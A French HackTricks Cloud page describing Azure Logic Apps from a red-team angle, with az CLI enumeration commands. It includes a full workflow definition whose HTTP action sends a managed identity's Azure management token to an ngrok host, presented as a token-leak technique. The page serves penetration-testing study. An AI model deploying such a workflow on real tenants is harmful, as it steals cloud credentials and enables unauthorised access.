Az - Logic Apps
Reading time: 16 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Informations de base
Azure Logic Apps permet aux développeurs de créer et d'exécuter des workflows qui intègrent divers services, sources de données et applications. Ces workflows sont conçus pour automatiser les processus métier, orchestrer des tâches et effectuer des intégrations de données à travers différentes plateformes.
Logic Apps fournit un concepteur visuel pour créer des workflows avec une large gamme de connecteurs préconçus, ce qui facilite la connexion et l'interaction avec divers services :
.png)
Options d'hébergement
Il existe plusieurs options d'hébergement :
- Consommation
- Multi-tenant : Cela fournit des ressources de calcul partagées, fonctionne dans le cloud public et suit un modèle de tarification à la demande. Cela est idéal pour des charges de travail légères et rentables. C'est ce que nous appellerons un "Workflow Unique".
- Standard
- Plan de service de workflow : Cela fournit des ressources de calcul dédiées avec intégration VNET pour le réseau et facture par instance de plan de service de workflow. Il est adapté aux charges de travail plus exigeantes nécessitant un plus grand contrôle.
- Environnement de service d'application V3 : Cela fournit des ressources de calcul dédiées avec une isolation et une évolutivité complètes. Il s'intègre également avec VNET pour le réseau et utilise un modèle de tarification basé sur les instances de service d'application au sein de l'environnement.
- Hybride : Cela est conçu pour le traitement local et le support multi-cloud. Il permet des ressources de calcul gérées par le client avec accès au réseau local et utilise l'autoscaling basé sur les événements Kubernetes (KEDA). Il repose sur un environnement d'application conteneurisée connecté.
Workflows "Uniques" / Plan de Consommation
Un workflow est une séquence structurée d'étapes ou de tâches automatisées qui exécutent un processus ou un objectif spécifique. Il définit comment différentes actions, conditions et décisions interagissent pour atteindre un résultat souhaité, rationalisant les opérations et réduisant l'effort manuel.
tip
Le plan de consommation permet de créer un workflow unique sans avoir besoin d'une Logic App elle-même.
Déclencheurs et Actions
Les déclencheurs de workflow indiquent quand le workflow doit commencer. Les déclencheurs peuvent être un point de terminaison HTTP, un calendrier ou des dizaines d'événements différents d'Azure ou même d'applications externes.
Chaque workflow a différentes actions. Ces actions sont les étapes que le workflow suit. Selon l'action, différents paramètres seront disponibles pour la configurer, comme :
- Nom de la connexion : Connexion à utiliser avec laquelle l'action interagira.
- Type d'authentification : Les différentes options sont Clé d'accès, Microsoft Entra ID, authentification de principal de service intégré et identité gérée de Logic Apps.
- D'un point de vue en lecture seule, les données d'authentification sont toujours intéressantes car elles pourraient contenir des informations sensibles.
- D'un point de vue d'écriture, les données d'authentification sont toujours intéressantes car elles pourraient permettre d'utiliser les autorisations des identités gérées assignées.
- ...
Les actions ont également divers paramètres, qui dépendent de l'action elle-même. Certains des paramètres les plus courants sont :
- Politique de réessai : Configure le nombre de réessais et l'intervalle entre eux.
- Délai d'expiration : Définit le temps maximum que l'action peut s'exécuter avant d'expirer.
- Exécuter après : Spécifie les conditions qui doivent être remplies avant que l'action ne s'exécute.
- Validation de schéma : Assure que les données entrantes suivent une structure prédéfinie.
- Réseautage : Configure comment gérer différents en-têtes.
- Entrées/Sorties sécurisées : Cela masquera les données d'entrée/sortie de l'historique d'exécution.
- ...
Politiques d'autorisation
Ces workflows prennent en charge des politiques d'autorisation avec Entra ID pour sécuriser les déclencheurs basés sur des requêtes en exigeant un jeton d'accès valide. Ce jeton doit inclure des revendications spécifiques :
- Émetteur (iss) pour vérifier le fournisseur d'identité
- Public (aud) pour s'assurer que le jeton est destiné à la Logic App
- Sujet (sub) pour identifier l'appelant
- ID JWT (identifiant de jeton Web JSON)
- Revendication personnalisée
Lorsqu'une requête est reçue, Logic Apps valide le jeton par rapport à ces revendications et permet l'exécution uniquement si elles correspondent à la politique configurée. Cela peut être utilisé pour permettre à un autre locataire de déclencher le workflow ou de refuser le déclenchement d'autres sources, par exemple en n'autorisant le déclenchement que s'il provient de https://login.microsoftonline.com/.
Clés d'accès
Les workflows génèrent 2 clés d'accès lorsqu'ils sont créés. Ces clés sont utilisées pour authentifier et autoriser les requêtes au workflow. Les clés sont utilisées pour générer un jeton de signature d'accès partagé (SAS), qui est inclus dans l'URL de la requête.
Ainsi, lorsqu'un déclencheur de point de terminaison HTTP est créé, un point de terminaison HTTP unique avec une signature SAS qui accorde la permission d'appeler le workflow est généré.
Ces clés peuvent être régénérées et une nouvelle URL SAS sera créée pour ces déclencheurs, mais les valeurs des clés ne peuvent pas être accessibles.
Exemple d'une URL SAS pour invoquer un déclencheur :
https://<region>.logic.azure.com:443/workflows/<workflow-id>/triggers/<trigger-name>/paths/invoke?api-version=<api-version>&sp=%2Ftriggers%2F<trigger-name>%2Frun&sv=<version>&sig=<signature>
Paramètres et composants du flux de travail
- Option d'accès au déclencheur : Ce paramètre vous permet de restreindre qui peut déclencher ou démarrer votre flux de travail. Les options sont Tout IP, Seulement un autre flux de travail et Plages IP spécifiques.
- Compte d'intégration : Liez votre flux de travail à un Compte d'Intégration.
- Haut débit : S'il est activé, cela permet de gérer plus de demandes en parallèle rapidement.
- Conservation de l'historique des exécutions : Cela indique le nombre de jours à conserver l'historique des exécutions.
- Connexions API : Cela montre les différentes connexions API que le flux de travail possède. À l'intérieur de chacune de ces connexions, elles ont différentes propriétés et la possibilité de modifier la connexion API où le type d'authentification peut être changé.
- Historique : Il a l'option d'accéder à l'historique des anciennes exécutions et d'obtenir des données : Paramètres, Sortie, Paramètres et le Code.
- Versions : Il a l'option d'accéder à différentes versions du flux de travail, où vous pouvez vérifier le code et changer le flux de travail actuel avec une version antérieure de celui-ci.
- Identités gérées : Il est possible d'assigner 1 identité gérée par le système et une identité gérée par l'utilisateur au flux de travail.
Fuite de jetons d'accès MI
L'action HTTP dans un flux de travail peut être utilisée pour envoyer des données à un web externe. Dans les Paramètres avancés de l'action HTTP, il est possible de configurer le Type d'authentification comme Identité gérée
et ensuite sélectionner l'Identité gérée assignée à utiliser (système ou utilisateur).
De plus, il est possible d'indiquer dans l'Audience
l'audience du JWT généré, qui pourrait être par exemple https://management.azure.com/
pour pouvoir utiliser le jeton généré pour accéder à l'API de gestion Azure.
warning
Faire en sorte que l'action envoie la requête HTTP à un serveur contrôlé par un attaquant peut fuir le jeton d'accès de l'identité gérée assignée au flux de travail.
tip
Un attaquant pourrait également utiliser d'autres types d'actions pour accéder directement à d'autres services Azure et effectuer des actions avec les autorisations de l'identité gérée.
Ceci est le code d'un flux de travail qui expose un point de terminaison HTTP et utilise ensuite une action HTTP pour fuir le jeton d'accès vers l'URL configurée (ngrok dans ce cas) :
Code du flux de travail
{
"definition": {
"$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#",
"contentVersion": "1.0.0.0",
"triggers": {
"When_a_HTTP_request_is_received": {
"type": "Request",
"kind": "Http"
}
},
"actions": {
"HTTP": {
"runAfter": {},
"type": "Http",
"inputs": {
"uri": "https://22b6-81-33-70-107.ngrok-free.app",
"method": "GET",
"authentication": {
"type": "ManagedServiceIdentity",
"audience": "https://management.azure.com/"
}
},
"runtimeConfiguration": {
"contentTransfer": {
"transferMode": "Chunked"
}
}
}
},
"outputs": {},
"parameters": {
"$connections": {
"type": "Object",
"defaultValue": {}
}
}
},
"parameters": {
"$connections": {
"type": "Object",
"value": {}
}
}
}
Logic Apps / Plan Standard
Différences avec les flux de travail "Unique"
Les Logic Apps utilisent essentiellement un App Service en arrière-plan pour héberger l'application logique qui peut héberger plusieurs flux de travail. Cela signifie que l'application logique aura toutes les fonctionnalités d'un App Service et des flux de travail "Uniques".
Quelques fonctionnalités clés seraient :
- Plan App Service : Les Logic Apps dans le plan Standard sont hébergées sur un Plan App Service, il est donc possible d'utiliser toutes les fonctionnalités de l'App Service comme :
- Restrictions Réseau : Indiquer d'où elle est accessible.
- Centre de Déploiement : Déployer depuis des plateformes externes comme Github, Bitbucket, Azure Repos, Git externe et Git local.
- Accès FTP : Il est possible d'accéder aux fichiers de l'application logique via FTP.
- Compte de Stockage : L'application de service utilise un compte de stockage pour stocker des informations.
- Variables d'environnement & Paramètres d'application : Il est possible de configurer des variables d'environnement et des paramètres d'application (et de trouver des informations sensibles comme des clés d'accès au compte de stockage).
- ...
- Paramètres : Les paramètres vous permettent de gérer des valeurs qui varient entre le développement, le test et la production. Cela vous permet de concevoir d'abord des flux de travail, puis d'ajuster facilement les paramètres spécifiques à l'environnement par la suite.
- Ressources Dédiées : Les Logic Apps dans le plan Standard ont des ressources dédiées.
- Multiples Flux de Travail : Cela permet de créer plusieurs flux de travail.
Pour plus d'infos sur les App Services, consultez :
Énumération
# List
az logic workflow list --resource-group <ResourceGroupName>
# Get info
az logic workflow show --name <LogicAppName> --resource-group <ResourceGroupName>
# Get details of a specific Logic App workflow, including its connections and parameters
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}?api-version=2016-10-01&$expand=connections.json,parameters.json" \
--headers "Content-Type=application/json"
# Get details about triggers for a specific Logic App
az rest --method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers?api-version=2016-06-01"
# Get the callback URL for a specific trigger in a Logic App
az rest --method POST \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/listCallbackUrl?api-version=2016-06-01"
# Get the history of a specific trigger in a Logic App
az rest --method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/histories?api-version=2016-06-01"
# List all runs of a specific Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs?api-version=2016-06-01" \
--headers "Content-Type=application/json"
# Get all actions within a specific run of a Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs/{runName}/actions?api-version=2016-06-01" \
--headers "Content-Type=application/json"
# List all versions of a specific Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions?api-version=2016-06-01" \
--headers "Content-Type=application/json"
# Get details of a specific version of a Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions/{versionName}?api-version=2016-06-01" \
--headers "Content-Type=application/json"
# List all Logic Apps in the specified resource group
az logicapp list --resource-group <ResourceGroupName>
# Show detailed information about a specific Logic App
az logicapp show --name <LogicAppName> --resource-group <ResourceGroupName>
# List all application settings for a specific Logic App
az logicapp config appsettings list --name <LogicAppName> --resource-group <ResourceGroupName>
# Get a Parameters from an Azure App Service using Azure REST API
az rest --method GET --url "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{app-service-name}/hostruntime/admin/vfs/parameters.json?api-version=2018-11-01&relativepath=1"
# Get webhook-triggered workflows from an Azure Logic App using Azure REST API
az rest --method GET --url "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{logic-app-name}/hostruntime/runtime/webhooks/workflow/api/management/workflows?api-version=2018-11-01"
# Get workflows from an Azure Logic App using Azure REST API
az rest --method GET --url "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{logic-app-name}/workflows?api-version=2018-11-01"
# Get details of a specific workflow including its connections and parameters in Azure Logic Apps using Azure REST API
az rest --method GET --uri "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{logic-app-name}/workflows/{workflow-name}?api-version=2018-11-01&\$expand=connections.json,parameters.json"
Comptes d'intégration
Comptes d'intégration, sont une fonctionnalité d'Azure Logic Apps. Les Comptes d'intégration sont utilisés pour faciliter les intégrations au niveau de l'entreprise en permettant des capacités B2B avancées, telles que l'EDI, l'AS2 et la gestion des schémas XML. Les Comptes d'intégration sont un conteneur dans Azure qui stocke les artefacts suivants utilisés pour les Logic Apps :
- Schémas : Gérer les schémas XML pour valider et traiter les messages dans votre compte d'intégration.
- Cartes : Configurer des transformations basées sur XSLT pour convertir les formats de données au sein de vos flux de travail d'intégration.
- Assemblages : Gérer les assemblages du compte d'intégration pour rationaliser la logique et le traitement des données.
- Certificats : Gérer les certificats pour chiffrer et signer les messages, garantissant une communication sécurisée.
- Partenaires : Gérer les informations sur les partenaires commerciaux pour les transactions B2B, permettant des intégrations sans faille.
- Accords : Configurer des règles et des paramètres pour échanger des données avec des partenaires commerciaux (par exemple, EDI, AS2).
- Configurations de lot : Gérer les configurations de traitement par lot pour regrouper et traiter les messages efficacement.
- RosettaNet PIP : Configurer les processus d'interface partenaire RosettaNet (PIPs) pour standardiser la communication B2B.
Énumération
# Integration account
az logic integration-account list --resource-group <resource-group-name>
az logic integration-account show --resource-group <resource-group-name> --name <integration-account-name>
az logic integration-account list-callback-url --resource-group <resource-group-name> --integration-account-name <integration-account-name>
# Batch-configuration
az logic integration-account batch-configuration list \
--resource-group <resource-group-name> \
--integration-account-name <integration-account-name>
az logic integration-account batch-configuration show \
--resource-group <resource-group-name> \
--integration-account-name <integration-account-name> \
--batch-configuration-name <batch-configuration-name>
# Map
az logic integration-account map list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>
az logic integration-account map show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--map-name <map-name>
# Partner
az logic integration-account partner list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>
az logic integration-account partner show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--name <partner-name>
# Session
az logic integration-account session list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>
az logic integration-account session show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--name <session-name>
# Assembly
# Session
az logic integration-account assembly list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>
az logic integration-account assembly show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--assembly-artifact-name <assembly-name>
Escalade de privilèges
Identique à la privesc des applications logiques :
Post-exploitation
Az - Logic Apps Post Exploitation
Persistance
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.